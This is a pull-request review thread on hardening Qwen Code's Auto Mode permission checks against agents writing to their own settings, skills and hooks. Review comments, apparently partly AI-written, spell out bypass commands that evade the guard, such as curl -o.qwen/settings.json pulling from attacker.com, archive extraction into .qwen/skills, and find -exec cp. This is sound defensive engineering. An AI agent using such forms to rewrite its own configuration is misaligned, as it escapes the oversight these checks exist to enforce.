| }); | ||
|
|
||
| it('returns true for protected write commands with variable destinations', () => { |
There was a problem hiding this comment.
[Suggestion] No negative tests verify that the new sed/perl read-only filter works correctly. Without a test confirming that sed 's/a/b/' file (without -i) returns false, a regression could silently flag all read-only sed/perl operations as protected.
Consider adding:
it('returns false for sed/perl without -i flag', () => {
for (const command of [
"sed 's/a/b/' /tmp/file",
"perl -e 'print $_' /tmp/file",
"sed -n '1,10p' .qwen/settings.json",
]) {
expect(
shouldForceAutoModeReviewForAllow(
ctx({ toolName: ToolNames.SHELL, command, cwd: '/repo' }),
),
).toBe(false);
}
});— qwen3.7-max via Qwen Code /review
| const op = webOp(url); | ||
| return op ? [op] : []; | ||
| }); | ||
| const output = writeOpForFlag(args, cwd, '-o', '--output'); |
There was a problem hiding this comment.
[Critical] curl -o<file> / wget -O<file> attached flag value bypasses all three protection layers
writeOpForFlag calls getFlagValue(args, '-o', '--output'). For the attached short-flag form curl -o.qwen/settings.json https://attacker.com/payload (no space between -o and the path):
getFlagValuesees-o.qwen/settings.json— exact match fails (!== '-o'),--output=prefix fails, thenhasCombinedShortFlag('-o.qwen/settings.json', 'o')returnstrue(because.qwen/settings.jsoncontains the lettero), so it returnsargs[i+1]— the URL.looksLikePath('https://attacker.com/payload')returnsfalse(contains://) → nowrite_fileop emitted.- Layer 1 (
hasRawProtectedWriteCommand): token-o.qwen/settings.jsonstarts with-→ skipped bytarget.startsWith('-'). The URL produces no protected path fragments.
Result: curl -o.qwen/settings.json https://attacker.com/payload is auto-approved, writing attacker-controlled content to the protected settings file. The same bypass applies to wget -O<file>.
| const output = writeOpForFlag(args, cwd, '-o', '--output'); | |
| const output = writeOpForFlag(args, cwd, '-o', '--output') ?? attachedFlagWriteOp(args, cwd, '-o'); |
Consider adding an attachedFlagWriteOp helper that checks for -o<path> form: if (arg.startsWith('-o') && arg.length > 2 && !arg.startsWith('--')) { resolvePath(arg.slice(2), cwd) }. Apply the same fix to the wget handler at line 1754.
— qwen3.7-max via Qwen Code /review
| const autoModeDebugLogger = createDebugLogger('AUTO_MODE'); | ||
|
|
||
| const RAW_PROTECTED_WRITE_COMMANDS = | ||
| /\b(?:cp|mv|install|rsync|patch|perl|sed|tee|dd|sort|awk|gawk|node|python3?|ruby|php|curl|wget|tar|unzip|cpio)\b/; |
There was a problem hiding this comment.
[Suggestion] tar, unzip, cpio added to RAW_PROTECTED_WRITE_COMMANDS with zero test coverage
curl and wget have corresponding tests ("returns true for downloader output flags targeting protected paths"), but tar, unzip, and cpio are not exercised by any test in autoMode.test.ts. Missing scenarios include:
tar xf archive.tar -C .qwen/unzip archive.zip -d .qwen/cpioextraction targeting protected paths
These three commands also have no COMMANDS handler in shell-semantics.ts, so they rely solely on Layer 1's coarse token scan. A comment near the regex explaining this design choice (Layer 1 only, no Layer 2 handlers) would help future maintainers understand the asymmetry with curl/wget.
— qwen3.7-max via Qwen Code /review
| } | ||
| }); | ||
|
|
||
| it('returns true for archive extraction commands targeting protected dirs', () => { |
There was a problem hiding this comment.
[Critical] Archive extraction bypass: the test only covers space-separated flags (-C .qwen/skills), but the attached form (-C.qwen/skills) and long-form (--directory=.qwen/skills) bypass all three L5.1 protection layers. In hasRawProtectedWriteCommand (autoMode.ts:345), target.startsWith('-') skips flag tokens including attached values like -C.qwen/skills. There are no tar/unzip/cpio handlers in shell-semantics.ts, so extractShellOperationsAcrossCommand emits no write ops. hasRawProtectedRedirect finds no >. The command reaches only the fail-open stage-1 classifier.
Add attached-form test cases and fix hasRawProtectedWriteCommand to extract values from --flag=value and attached short flags:
| it('returns true for archive extraction commands targeting protected dirs', () => { | |
| it('returns true for archive extraction commands targeting protected dirs', () => { | |
| for (const command of [ | |
| 'tar xf payload.tar -C .qwen/skills', | |
| 'tar xf payload.tar -C.qwen/skills', | |
| 'tar xf payload.tar --directory=.qwen/skills', | |
| 'unzip payload.zip -d .qwen/skills', | |
| 'unzip payload.zip -d.qwen/skills', | |
| 'cpio -i -D .qwen/skills', | |
| 'cpio -i -D.qwen/skills', | |
| ]) { |
— qwen3.7-max via Qwen Code /review
| } | ||
|
|
||
| function resolveTimeoutMs(value: number | undefined, fallback: number): number { | ||
| return typeof value === 'number' && Number.isFinite(value) && value > 0 |
There was a problem hiding this comment.
[Suggestion] resolveTimeoutMs accepts pathologically low positive values (e.g. 1) that pass validation but cause silent fail-closed on every classifier call. The resulting shouldBlock=true, unavailable=true verdict is indistinguishable from a real API outage — a 3AM oncall engineer would investigate API health, network, and rate limits before discovering the root cause is a config value. Add a minimum bound:
| return typeof value === 'number' && Number.isFinite(value) && value > 0 | |
| function resolveTimeoutMs(value: number | undefined, fallback: number): number { | |
| return typeof value === 'number' && Number.isFinite(value) && value >= 1000 | |
| ? value | |
| : fallback; | |
| } |
Also consider logging the resolved settings at debugLogger.info on first call so operators can see effective timeout values without code changes.
— qwen3.7-max via Qwen Code /review
| } | ||
| if (arg.startsWith(`${longName}=`)) { | ||
| return arg.slice(longName.length + 1); | ||
| } |
There was a problem hiding this comment.
[Suggestion] getFlagValue returns =value (with leading =) for short-flag-with-equals syntax. For curl -o=.qwen/settings.json, isAttachedShortFlagValue matches, then arg.slice(shortName.length) yields =.qwen/settings.json — the = is included in the parsed path. Strip the leading =:
| } | |
| if (isAttachedShortFlagValue(arg, shortName)) { | |
| return arg.slice(shortName.length).replace(/^=/, ''); | |
| } |
— qwen3.7-max via Qwen Code /review
wenshao
left a comment
There was a problem hiding this comment.
[Suggestion] awk -i inplace always emits read_file — no in-place detection (shell-semantics.ts:1597)
The awk handler (line 1597) always returns virtualTool: 'read_file' regardless of whether -i inplace is present. For awk -i inplace '{gsub(/x/,"y")}1' file.txt, GNU awk modifies file.txt in place, but the handler emits read_file. This contrasts with sed (line 1556) and perl (line 1525), which both detect -i/--in-place and emit edit. Additionally, gawk has no handler in the COMMANDS table at all.
Fix: Add in-place detection to the awk handler, mirroring the sed/perl pattern.
(Posted as a body-level comment because the error is on a line not touched by this PR's diff.)
— qwen3.7-max via Qwen Code /review
| while (i < args.length && args[i] !== ';' && args[i] !== '+') { | ||
| inner.push(args[i]!); | ||
| i++; | ||
| } |
There was a problem hiding this comment.
[Critical] find -exec inner {} placeholder misclassified by downstream command handlers
looksLikePath (line 207) rejects tokens containing { or }. When extractFindExecOps passes inner args like ['cp', '{}', '.qwen/settings.json'] to the cp handler, getPositionalArgs filters out {} via .filter(looksLikePath). Only .qwen/settings.json remains as a single positional arg, hitting the single-positional branch (line 1213) that emits read_file instead of write_file.
The existing test at shell-semantics.test.ts:177 uses find . -exec cp payload .qwen/settings.json ; (no {}), so this bug is not caught.
Impact: find . -exec cp {} .qwen/settings.json \; produces only a read_file virtual op, bypassing all three auto-mode protection layers.
| } | |
| const innerCommand = inner | |
| .map((arg) => (arg === '{}' || arg === '\\{}' ? '_' : arg)) | |
| .join(' '); |
— qwen3.7-max via Qwen Code /review
| if (containsProtectedPathFragment(candidate, cwd)) return true; | ||
| } | ||
| } | ||
| } |
There was a problem hiding this comment.
[Critical] patch --output=.qwen/settings.json bypasses all three protection layers
rawProtectedWriteTargets skips tokens starting with -, and rawFlagValue only handles -C/-d/-D/-o/-O/-t/--directory=. For patch --output=.qwen/settings.json -i malicious.patch:
hasRawProtectedRedirect— no>operator → falsehasRawProtectedWriteCommand— token--output=.qwen/settings.jsonstarts with-,rawFlagValuedoesn't recognize--output=→ returns[]extractShellOperationsAcrossCommand—patchhandler'sflagsWithValuedoesn't include--output→ token silently skipped
Same pattern affects rsync --log-file=, patch --reject-file=, and any command whose output-path long flag isn't in rawFlagValue.
| } | |
| function rawProtectedWriteTargets(token: string, line: string): string[] { | |
| if (!token) return []; | |
| const flagValue = rawFlagValue(token, line); | |
| if (flagValue) return [flagValue]; | |
| if (token.startsWith('-')) { | |
| const eqIndex = token.indexOf('='); | |
| if (eqIndex > 0 && eqIndex < token.length - 1) { | |
| return [token.slice(eqIndex + 1)]; | |
| } | |
| return []; | |
| } | |
| return [token]; | |
| } |
— qwen3.7-max via Qwen Code /review
| } | ||
|
|
||
| function hasRawProtectedWriteCommand(command: string, cwd: string): boolean { | ||
| for (const line of command.split('\n')) { |
There was a problem hiding this comment.
[Suggestion] hasRawProtectedWriteCommand heredoc body false positives
hasRawProtectedWriteCommand splits on \n and processes each line directly without stripping heredoc bodies. Its counterpart extractShellOperationsAcrossCommand calls stripHeredocBodies() before analysis.
For cat <<'EOF'\ncp payload .qwen/settings.json\nEOF, the raw check treats the heredoc body line as executable code: RAW_PROTECTED_WRITE_COMMANDS matches cp, and containsProtectedPathFragment finds .qwen/settings.json — returns true (false positive).
This causes unnecessary classifier review in AUTO mode, adding latency.
Fix: Apply stripHeredocBodies before splitting in hasRawProtectedWriteCommand. Note: stripHeredocBodies is currently private in shell-semantics.ts and would need to be exported.
— qwen3.7-max via Qwen Code /review
| } | ||
| }); | ||
|
|
||
| it('returns true for find exec writes with placeholder operands', () => { |
There was a problem hiding this comment.
[Suggestion] The new find -exec test only covers -exec. The -execdir, -ok, and -okdir variants are handled by the same extractFindExecOps function but take a distinct branch at shell-semantics.ts:2148 — marker.endsWith('dir') calls markCwdUnknownOps, which sets cwdUnknown: true on the inner ops. This triggers the autoMode.ts:300 path (if (op.cwdUnknown && op.pathMayDependOnCwd) return true), which is currently untested.
Consider adding a test like:
it('returns true for find execdir writes with placeholder operands', () => {
expect(
shouldForceAutoModeReviewForAllow(
ctx({
toolName: ToolNames.SHELL,
command: 'find . -execdir cp {} .qwen/settings.json ;',
cwd: '/repo',
}),
),
).toBe(true);
});— qwen3.7-max via Qwen Code /review
|
|
||
| - **`Blocked by auto mode policy: <reason>`** — the classifier judged | ||
| the action unsafe. The reason comes from Stage 2 of the classifier. | ||
| - **`Permission for this action has been denied. Reason: <reason>`** — |
There was a problem hiding this comment.
[Suggestion] Docs/code prefix mismatch: this line still reads Permission for this action has been denied. Reason: <reason>, but commit 3d5c7cd84 changed autoMode.ts:602 to emit Blocked by auto mode policy: <reason>. The PR diff actually reverted this doc line from the correct new prefix back to the old one.
| - **`Permission for this action has been denied. Reason: <reason>`** — | |
| - **`Blocked by auto mode policy: <reason>`** — |
— qwen3.7-max via Qwen Code /review
| ]); | ||
| }); | ||
|
|
||
| it('awk -i inplace: edits files in place', () => { |
There was a problem hiding this comment.
[Suggestion] The awk in-place tests only cover -i inplace (short form). The getFlagValue function also handles --include inplace and --include=inplace via distinct code branches. Adding a long-form test guards against future regressions:
it('awk --include=inplace: edits files in place', () => {
const ops = extractShellOperations(
'awk --include=inplace \'{gsub(/x/, "y")}1\' /etc/hosts',
CWD,
);
expect(ops).toEqual([{ virtualTool: 'edit', filePath: '/etc/hosts' }]);
});— qwen3.7-max via Qwen Code /review
PR #4572 Local Verification ReportBranch: Changes Summary (key files)
Test Results
Test Coverage Highlights
Verdict✅ Ready to merge. All 1087 tests pass (1004 core + 83 CLI). Core typecheck clean. Lint clean. The 2 new CLI typecheck errors are standard build-order artifacts that resolve after rebuilding core. Comprehensive test coverage across shell write detection, auto-mode hardening, classifier policy restructuring, and ACP integration. Verified by wenshao |
| void _exhaustive; | ||
| } | ||
| } | ||
| if (outcome.kind === 'approved' || outcome.kind === 'blocked') { |
There was a problem hiding this comment.
[Critical] Removing 'fallback' from the continue guard causes outcome.kind === 'fallback' to fall through to if (finalPermission === 'allow'), which is always true in this block (the enclosing if at line 3628 guarantees it). This auto-approves protected writes when the classifier is unavailable or denial-tracking arms fallback — exactly the scenario shouldForceAutoModeReviewForAllow was designed to prevent.
The main scheduling path handles this correctly: getEffectivePermissionForConfirmation sets confirmationPermission = 'ask' when forceAutoReviewForAllow is true, so needsConfirmation('ask', ...) forces manual approval. The sister-tool path uses raw finalPermission = 'allow' instead, bypassing that guard.
Scenario: AUTO mode + broad allow rule + classifier unavailable + concurrent tool calls → protected write (e.g., sed -i '…' .qwen/settings.json) is auto-approved without any human or classifier review.
| if (outcome.kind === 'approved' || outcome.kind === 'blocked') { | |
| if ( | |
| outcome.kind === 'approved' || | |
| outcome.kind === 'blocked' || | |
| outcome.kind === 'fallback' | |
| ) { | |
| continue; | |
| } |
— qwen3.7-max via Qwen Code /review
| } | ||
|
|
||
| function resolveTimeoutMs(value: number | undefined, fallback: number): number { | ||
| return typeof value === 'number' && Number.isFinite(value) && value >= 1000 |
There was a problem hiding this comment.
[Suggestion] The minimum timeout floor changed from > 0 to >= 1000, which silently overrides user-configured values below 1000ms with the default (10s/30s). There's no diagnostic log, so this looks like unexplained classifier slowness during debugging.
Consider logging when the configured value is below the floor:
| return typeof value === 'number' && Number.isFinite(value) && value >= 1000 | |
| function resolveTimeoutMs(value: number | undefined, fallback: number): number { | |
| if (typeof value === 'number' && Number.isFinite(value) && value > 0 && value < 1000) { | |
| autoModeDebugLogger.warn( | |
| `Classifier timeout ${value}ms below 1000ms floor, using default ${fallback}ms`, | |
| ); | |
| } | |
| return typeof value === 'number' && Number.isFinite(value) && value >= 1000 | |
| ? value | |
| : fallback; | |
| } |
— qwen3.7-max via Qwen Code /review
wenshao
left a comment
There was a problem hiding this comment.
No issues found. LGTM! ✅ The outcome.kind === 'fallback' addition to the continue guard correctly closes the R23 Critical (protected writes auto-approved via fallthrough), and the debugLogger.warn for sub-floor timeouts addresses the R23 Suggestion. Both fixes are minimal, correct, and well-tested (211 tests pass). — qwen3.7-max via Qwen Code /review
tanzhenxin
left a comment
There was a problem hiding this comment.
Review
Re-verified against the current head after all the iteration since my last review. The three blocking findings I raised are now fixed:
- Leading environment-variable assignment (e.g.
FOO=bar echo x > .qwen/settings.json, and thetee/ compoundcd … && FOO=bar …forms) — the protected write is now detected and routed through the guard instead of being silently dropped. - Quoted heredoc marker (
echo '<<EOF'ahead of a protected write on a later line) — quoting is now respected, so the following write is no longer swallowed as a heredoc body. - Redirect attached to
cd(cd .qwen >/dev/null && echo > settings.json) — the directory change now resolves statically, so an explicitWrite(.qwen/settings.json)deny matches deterministically instead of being softened to a manual prompt.
I confirmed each by running the same disguised commands through the analyzer on this head: all three now surface the protected write at the correct path, with passing controls.
One non-blocking nit for a possible follow-up (not introduced by this PR): a 2>&1 redirect still emits a phantom write op for &1. It's harmless for protected-path matching, but a broad Write(*) rule could spuriously escalate on it.
Thanks for the thorough iteration — the protected-write coverage is in much better shape now.
Verdict
APPROVE
What this PR does
This PR hardens Auto Mode so writes to Qwen Code configuration, instructions, hooks, commands, skills, MCP configuration, and other persistence surfaces cannot bypass the classifier through workspace edit fast-paths or broad permission allow rules. It also splits classifier policy into allow, soft block, hard block, and environment sections, keeps legacy deny hints as soft-block hints, and adds denial guidance that tells the agent not to route around blocked actions through equivalent tools or indirection.
Why it's needed
Auto Mode previously had gaps where a protected settings or instruction write could look like an ordinary in-workspace edit, or where a broad allow rule could prevent the classifier from reviewing a self-modification action. That makes it possible for an agent to keep working after a denial by changing its own configuration or by hiding a protected write behind shell wrappers. The new flow keeps ordinary safe work fast, but forces protected self-modification and persistence writes back through the fail-closed Auto Mode classifier.
Reviewer Test Plan
How to verify
Run the focused permission and prompt tests and confirm protected writes such as
cd .qwen && bash -lc 'echo {} > settings.json',bash -lc 'echo ok' && echo hi > .qwen/settings.json, andcd "$QWEN_HOME" && echo "{}" > settings.jsonare routed to classifier review instead of being auto-approved by broad allow rules. Confirm explicitpermissions.askrules still route to manual approval and ordinary in-workspace generated files still take the fast path.Evidence (Before & After)
N/A for UI evidence. Local verification passed with
cd packages/core && npx vitest run src/core/prompts.test.ts src/permissions/autoMode.test.ts src/permissions/shell-semantics.test.ts src/permissions/permission-manager.test.ts src/permissions/classifier-prompts/system-prompt.test.ts,cd packages/core && npx vitest run src/permissions/shell-semantics.test.ts src/permissions/autoMode.test.ts src/permissions/permission-manager.test.ts,npm run typecheck,npm run build, andgit diff --check. Build completed with existing VS Code companion curly warnings and no errors.Tested on
Environment (optional)
Local macOS development checkout using the repository npm scripts.
Risk & Scope
permissions.autoMode.hints.denyremains supported as a deprecated alias forsoftDeny; new configurations should usesoftDenyorhardDeny.Linked Issues
Resolves: #4538
中文说明
What this PR does
这个 PR 加固 Auto Mode:写入 Qwen Code 配置、指令、hooks、commands、skills、MCP 配置以及其他持久化表面时,不能再通过 workspace edit fast-path 或宽泛 permission allow 规则绕过 classifier。同时 classifier policy 被拆成 allow、soft block、hard block、environment 四类,保留 legacy deny hints 作为 soft-block hints,并在 denial 结果里补充指引,要求 agent 不要通过等价工具或间接方式绕过已拒绝动作。
Why it's needed
Auto Mode 之前存在一些缺口:受保护的 settings 或 instruction 写入可能被当作普通 workspace edit,宽泛 allow rule 也可能让 self-modification action 不经过 classifier。这样 agent 在被拒绝后仍可能通过改自身配置、或者把受保护写入藏进 shell wrapper 来继续完成同一个动作。新的流程保留普通安全工作的 fast path,但会把受保护的 self-modification 和 persistence writes 强制送回 fail-closed Auto Mode classifier。
Reviewer Test Plan
How to verify
运行聚焦的 permission 和 prompt 测试,确认
cd .qwen && bash -lc 'echo {} > settings.json'、bash -lc 'echo ok' && echo hi > .qwen/settings.json、cd "$QWEN_HOME" && echo "{}" > settings.json这类 protected writes 会进入 classifier review,而不是被宽泛 allow 规则自动放行。确认显式permissions.ask仍进入手动确认,普通 workspace 内生成文件仍走 fast path。Evidence (Before & After)
非 UI 改动,N/A。本地验证已通过:
cd packages/core && npx vitest run src/core/prompts.test.ts src/permissions/autoMode.test.ts src/permissions/shell-semantics.test.ts src/permissions/permission-manager.test.ts src/permissions/classifier-prompts/system-prompt.test.ts、cd packages/core && npx vitest run src/permissions/shell-semantics.test.ts src/permissions/autoMode.test.ts src/permissions/permission-manager.test.ts、npm run typecheck、npm run build、git diff --check。build 只有已有的 VS Code companion curly warnings,没有 error。Tested on
Environment (optional)
本地 macOS 开发 checkout,使用仓库 npm scripts。
Risk & Scope
permissions.autoMode.hints.deny仍作为 deprecated alias 支持,会并入softDeny;新配置建议使用softDeny或hardDeny。Linked Issues
Resolves: #4538